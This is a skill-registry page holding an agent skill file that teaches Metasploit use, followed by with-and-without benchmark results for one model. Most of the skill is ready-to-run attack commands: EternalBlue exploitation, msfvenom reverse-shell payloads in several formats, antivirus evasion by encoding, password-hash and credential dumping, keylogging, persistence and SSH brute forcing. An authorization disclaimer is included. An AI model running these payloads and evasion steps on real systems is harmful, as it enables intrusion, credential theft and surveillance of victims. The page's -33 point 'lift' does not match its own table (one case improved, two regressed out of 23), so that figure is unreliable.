Install any skill in seconds. Free to start, no credit card required.
Get Started Free →⚠️ AUTHORIZED USE ONLY > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited.
.claude/skills/lingxling-metasploit-framework/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-11 | ✗→✓ | ▲ Improved | 170% | 0% |
| case-02 | ✓→✗ | ▼ Worse | 282% | 0% |
| case-17 | ✓→✗ | ▼ Worse | 170% | 0% |
| case-01 | ✓→✓ | = Same ✓ | 546% | 0% |
| case-03 | ✓→✓ | = Same ✓ | 305% | 0% |
> ⚠️ AUTHORIZED USE ONLY > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited.
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
bash# Metasploit must already be installed before using this skill. # Kali Linux usually ships with it preinstalled. msfconsole --version
Installation varies by operating system and package source. Follow your platform's documented package-manager or vendor installation process before using this skill. Do not rely on an unpinned remote installer script from inside this skill.
If you want database-backed features such as workspace tracking, initialize msfdb using the instructions for your local installation. This skill assumes Metasploit is already available and does not require sudo, systemctl, or other privileged host-level setup steps.
Before running exploit modules, ask the user to confirm the exact target host, scope, and authorization state.
Launch and navigate the Metasploit console:
bash# Start msfconsole msfconsole # Quiet mode (skip banner) msfconsole -q # Basic navigation commands msf6 > help # Show all commands msf6 > search [term] # Search modules msf6 > use [module] # Select module msf6 > info # Show module details msf6 > show options # Display required options msf6 > set [OPTION] [value] # Configure option msf6 > run / exploit # Execute module msf6 > back # Return to main console msf6 > exit # Exit msfconsole
Understand the different module categories:
bash# 1. Exploit Modules - Target specific vulnerabilities msf6 > show exploits msf6 > use exploit/windows/smb/ms17_010_eternalblue # 2. Payload Modules - Code executed after exploitation msf6 > show payloads msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp # 3. Auxiliary Modules - Scanning, fuzzing, enumeration msf6 > show auxiliary msf6 > use auxiliary/scanner/smb/smb_version # 4. Post-Exploitation Modules - Actions after compromise msf6 > show post msf6 > use post/windows/gather/hashdump # 5. Encoders - Obfuscate payloads msf6 > show encoders msf6 > set ENCODER x86/shikata_ga_nai # 6. Nops - No-operation padding for buffer overflows msf6 > show nops # 7. Evasion - Bypass security controls msf6 > show evasion
Find appropriate modules for targets:
bash# Search by name msf6 > search eternalblue # Search by CVE msf6 > search cve:2017-0144 # Search by platform msf6 > search platform:windows type:exploit # Search by type and keyword msf6 > search type:auxiliary smb # Filter by rank (excellent, great, good, normal, average, low, manual) msf6 > search rank:excellent # Combined search msf6 > search type:exploit platform:linux apache # View search results columns: # Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
Set up an exploit for execution:
bash# Select exploit module msf6 > use exploit/windows/smb/ms17_010_eternalblue # View required options msf6 exploit(windows/smb/ms17_010_eternalblue) > show options # Set target host msf6 exploit(...) > set RHOSTS 192.168.1.100 # Set target port (if different from default) msf6 exploit(...) > set RPORT 445 # View compatible payloads msf6 exploit(...) > show payloads # Set payload msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp # Set local host for reverse connection msf6 exploit(...) > set LHOST 192.168.1.50 msf6 exploit(...) > set LPORT 4444 # View all options again to verify msf6 exploit(...) > show options # Check if target is vulnerable (if supported) msf6 exploit(...) > check # Execute exploit msf6 exploit(...) > exploit # or msf6 exploit(...) > run
Select appropriate payload for the situation:
bash# Singles - Self-contained, no staging windows/shell_reverse_tcp linux/x86/shell_bind_tcp # Stagers - Small payload that downloads larger stage windows/meterpreter/reverse_tcp linux/x86/meterpreter/bind_tcp # Stages - Downloaded by stager, provides full functionality # Meterpreter, VNC, shell # Payload naming convention: # [platform]/[architecture]/[payload_type]/[connection_type] # Examples: windows/x64/meterpreter/reverse_tcp linux/x86/shell/bind_tcp php/meterpreter/reverse_tcp java/meterpreter/reverse_https android/meterpreter/reverse_tcp
Work with Meterpreter post-exploitation:
bash# After successful exploitation, you get Meterpreter prompt meterpreter > # System Information meterpreter > sysinfo meterpreter > getuid meterpreter > getpid # File System Operations meterpreter > pwd meterpreter > ls meterpreter > cd C:\\Users meterpreter > download file.txt /tmp/ meterpreter > upload /tmp/tool.exe C:\\ # Process Management meterpreter > ps meterpreter > migrate [PID] meterpreter > kill [PID] # Networking meterpreter > ipconfig meterpreter > netstat meterpreter > route meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1 # Privilege Escalation meterpreter > getsystem meterpreter > getprivs # Credential Harvesting meterpreter > hashdump meterpreter > run post/windows/gather/credentials/credential_collector # Screenshots and Keylogging meterpreter > screenshot meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop # Shell Access meterpreter > shell C:\Windows\system32> whoami C:\Windows\system32> exit meterpreter > # Background Session meterpreter > background msf6 exploit(...) > sessions -l msf6 exploit(...) > sessions -i 1
Use auxiliary modules for reconnaissance:
bash# SMB Version Scanner msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(...) > run # Port Scanner msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > set PORTS 1-1000 msf6 auxiliary(...) > run # SSH Version Scanner msf6 > use auxiliary/scanner/ssh/ssh_version msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(...) > run # FTP Anonymous Login msf6 > use auxiliary/scanner/ftp/anonymous msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > run # HTTP Directory Scanner msf6 > use auxiliary/scanner/http/dir_scanner msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > run # Brute Force Modules msf6 > use auxiliary/scanner/ssh/ssh_login msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt msf6 auxiliary(...) > run
Run post modules on active sessions:
bash# List sessions msf6 > sessions -l # Run post module on specific session msf6 > use post/windows/gather/hashdump msf6 post(windows/gather/hashdump) > set SESSION 1 msf6 post(...) > run # Or run directly from Meterpreter meterpreter > run post/windows/gather/hashdump # Common Post Modules # Credential Gathering post/windows/gather/credentials/credential_collector post/windows/gather/lsa_secrets post/windows/gather/cachedump post/multi/gather/ssh_creds # System Enumeration post/windows/gather/enum_applications post/windows/gather/enum_logged_on_users post/windows/gather/enum_shares post/linux/gather/enum_configs # Privilege Escalation post/windows/escalate/getsystem post/multi/recon/local_exploit_suggester # Persistence post/windows/manage/persistence_exe post/linux/manage/sshkey_persistence # Pivoting post/multi/manage/autoroute
Create standalone payloads:
bash# Basic Windows reverse shell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe # Linux reverse shell msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf # PHP reverse shell msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php # Python reverse shell msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py # PowerShell payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1 # ASP web shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp # WAR file (Tomcat) msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war # Android APK msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk # Encoded payload (evade AV) msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe # List available formats msfvenom --list formats # List available encoders msfvenom --list encoders
Configure listener for incoming connections:
bash# Manual handler setup msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.50 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit -j # The -j flag runs as background job msf6 > jobs -l # When payload executes on target, session opens [*] Meterpreter session 1 opened # Interact with session msf6 > sessions -i 1
| Command | Description | |---------|-------------| | search [term] | Search for modules | | use [module] | Select a module | | info | Display module information | | show options | Show configurable options | | set [OPT] [val] | Set option value | | setg [OPT] [val] | Set global option | | run / exploit | Execute module | | check | Verify target vulnerability | | back | Deselect module | | sessions -l | List active sessions | | sessions -i [N] | Interact with session | | jobs -l | List background jobs | | db_nmap | Run nmap with database |
| Command | Description | |---------|-------------| | sysinfo | System information | | getuid | Current user | | getsystem | Attempt privilege escalation | | hashdump | Dump password hashes | | shell | Drop to system shell | | upload/download | File transfer | | screenshot | Capture screen | | keyscan_start | Start keylogger | | migrate [PID] | Move to another process | | background | Background session | | portfwd | Port forwarding |
bash# Windows exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/ms08_067_netapi exploit/windows/http/iis_webdav_upload_asp exploit/windows/local/bypassuac # Linux exploit/linux/ssh/sshexec exploit/linux/local/overlayfs_priv_esc exploit/multi/http/apache_mod_cgi_bash_env_exec # Web Applications exploit/multi/http/tomcat_mgr_upload exploit/unix/webapp/wp_admin_shell_upload exploit/multi/http/jenkins_script_console
| Issue | Solutions | |-------|-----------| | Database not connected | Run sudo msfdb init, start PostgreSQL, then db_connect | | Exploit fails/no session | Run check; verify payload architecture; check firewall; try different payloads | | Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript | | Payload detected by AV | Use encoding -e x86/shikata_ga_nai -i 10; use evasion modules; custom templates |
This skill is applicable to execute the workflow or actions described in the overview.
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-01 | pass→pass | 4,162 | 21,071 | +406% | 1 | 1 | 0% | 690 | 4,460 | +546% | 0 | 0 | — |
case-02 | pass→fail | 7,965 | 14,983 | +88% | 1 | 1 | 0% | 1,479 | 5,656 | +282% | 0 | 0 | — |
case-03 | pass→pass | 7,513 | 7,387 | -2% | 1 | 1 | 0% | 1,279 | 5,176 | +305% | 0 | 0 | — |
case-04 | pass→pass | 39,577 | 14,368 | -64% | 1 | 1 | 0% | 1,900 | 5,397 | +184% | 0 | 0 | — |
case-05 | pass→pass | 10,977 | 11,399 | +4% | 1 | 1 | 0% | 1,998 | 5,711 | +186% | 0 | 0 | — |
case-06 | pass→pass | 9,430 | 10,034 | +6% | 1 | 1 | 0% | 1,610 | 5,546 | +244% | 0 | 0 | — |
case-07 | pass→pass | 9,449 | 4,346 | -54% | 1 | 1 | 0% | 1,363 | 4,526 | +232% | 0 | 0 | — |
case-08 | pass→pass | 6,543 | 7,350 | +12% | 1 | 1 | 0% | 1,060 | 5,330 | +403% | 0 | 0 | — |
case-09 | pass→pass | 25,142 | 6,267 | -75% | 1 | 1 | 0% | 3,534 | 5,038 | +43% | 0 | 0 | — |
case-10 | pass→pass | 11,108 | 7,620 | -31% | 1 | 1 | 0% | 1,799 | 5,297 | +194% | 0 | 0 | — |
case-11 | fail→pass | 20,428 | 15,283 | -25% | 1 | 1 | 0% | 2,106 | 5,687 | +170% | 0 | 0 | — |
case-12 | pass→pass | 13,501 | 10,956 | -19% | 1 | 1 | 0% | 967 | 4,836 | +400% | 0 | 0 | — |
case-13 | pass→pass | 6,817 | 7,424 | +9% | 1 | 1 | 0% | 966 | 5,318 | +451% | 0 | 0 | — |
case-14 | pass→pass | 13,699 | 12,159 | -11% | 1 | 1 | 0% | 1,927 | 5,164 | +168% | 0 | 0 | — |
case-15 | pass→pass | 15,361 | 10,396 | -32% | 1 | 1 | 0% | 2,495 | 5,700 | +128% | 0 | 0 | — |
case-16 | pass→pass | 7,707 | 5,175 | -33% | 1 | 1 | 0% | 1,264 | 4,846 | +283% | 0 | 0 | — |
case-17 | pass→fail | 21,243 | 14,936 | -30% | 1 | 1 | 0% | 2,019 | 5,460 | +170% | 0 | 0 | — |
case-18 | pass→pass | 11,989 | 17,681 | +47% | 1 | 1 | 0% | 2,299 | 6,785 | +195% | 0 | 0 | — |
case-19 | pass→pass | 8,295 | 14,324 | +73% | 1 | 1 | 0% | 1,352 | 4,995 | +269% | 0 | 0 | — |
case-20 | pass→pass | 4,839 | 4,815 | -0% | 1 | 1 | 0% | 735 | 4,640 | +531% | 0 | 0 | — |
case-21 | fail→fail | 11,123 | 8,569 | -23% | 1 | 1 | 0% | 760 | 4,614 | +507% | 0 | 0 | — |
case-22 | pass→pass | 17,797 | 12,063 | -32% | 1 | 1 | 0% | 2,560 | 6,141 | +140% | 0 | 0 | — |
case-23 | pass→pass | 5,963 | 13,162 | +121% | 1 | 1 | 0% | 978 | 4,868 | +398% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of -33 percentage points is the difference between those two pass rates over the 23 comparable cases. 2 cases got worse with the skill loaded, and they are included in that figure.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.